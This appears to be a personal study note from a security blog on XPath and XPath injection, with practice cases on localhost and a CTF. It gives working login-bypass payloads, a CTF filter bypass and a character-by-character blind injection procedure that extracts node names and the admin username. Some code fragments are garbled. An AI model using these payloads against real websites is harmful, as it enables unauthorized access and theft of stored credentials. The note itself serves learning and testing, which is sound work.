目录
Learn : http://www.w3school.com.cn/xpath/index.asp
Simple note
Xpath is a languaga to find information in XML.
There are knowledge too much, I don’t want to copy.
Chose node:
1 |
bookstorechose all children_parameters. |
USE:
1 |
var xmlDoc=new XMLHttpRequest() |
XPath Injection
A example:
1 |
<users> |
A website use XML to store the username and password. There is his normal query statement:
Query basic statement:
//user/user[loginID/text()='abc' and password/text()='test123']
Only if loginID and password is correct the user can get the result.
If Input loginID and password = '' or 1=1
, the hacker can bypass the veryfication.
//users/user[LoginID/text()=''or 1=1 and password/text()=''or 1=1]
So, XPath injection just like SQL, try to use some evil statement to get all content in XML.
Practice
01
Use the Reference 1 to practice:
Request = http://localhost/test.php?name=admin' or ‘1’=’1&pwd
xpath=/root/users/user[username/text()='admin' or '1'='1' and password/text()='d41d8cd98f00b204e9800998ecf8427e']
If you don’t know the username, you can use tow “or” to bypass the verification logic.
http://localhost/test.php?name=fake' or '1'or'1&pwd=fake
It will return all username.
02
This is a CTF.
It filter all sql injection statement, So we should use xpath to inject.
This is important statement: $query="user/username[@name='".$user."']";
We can structure user=']//*|anyword[
First , we close the [] and then we use //*
to get all username.
03
A example of use XPath with PHP:
1 |
<peo name='vk'> |
1 |
|
$en_scr = "//peo[@name='{$user}']/subject[contains(foo, 'english')]/score";
Get the peo of the attribute name=user and then find the score of the child element whose foo is english in the subject.
Bypass: name=tom}'] | //* | //*['{
04
XPath blind injection:
Because I haven’t the enough example, so I just learn the thought of how to use it in easy way.
Use the code of example 01.
- Judge the nodes’ number of root.
127.0.0.1/xpath/index.php?name=1' or count(/*)=1 or '1'='1&pwd=fake
- Guess the first node.
127.0.0.1/xpath/index.php?name=1' or substring(name(/*[position()=1]),1,1)='r' or '1'='1&pwd=fake
127.0.0.1/xpath/index.php?name=1' or substring(name(/*[position()=1]),2,1)='o' or '1'='1&pwd=fake
…
result : root
- Judge the number of next node of root:
127.0.0.1/xpath/index.php?name=1' or count(/root/*)=2 or '1'='1&pwd=fake
- Guess the net node of root:
127.0.0.1/xpath/index.php?name=1' or substring(name(/root/*[position()=1]),1,1)='u' or '1'='1&pwd=fake
127.0.0.1/xpath/index.php?name=1' or substring(name(/root/*[position()=2]),1,1)='s' or '1'='1&pwd=fake
…
result: users,secret
Guess the value of username which id = 1:
127.0.0.1/xpath/index.php?name=1' or substring(/root/users/user[id=1]/username,1,1)='a' or '1'='1&pwd=fake
…
result: admin
DIG
If a website use XML to store privacy information and use XPath to control it and there haven’t waf to statement of input. So there is a XPath injection.
A lack of example. Maybe the vulunery is difficult to meet.
Tips
or and = |
Reference
- By:threezh1.com
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论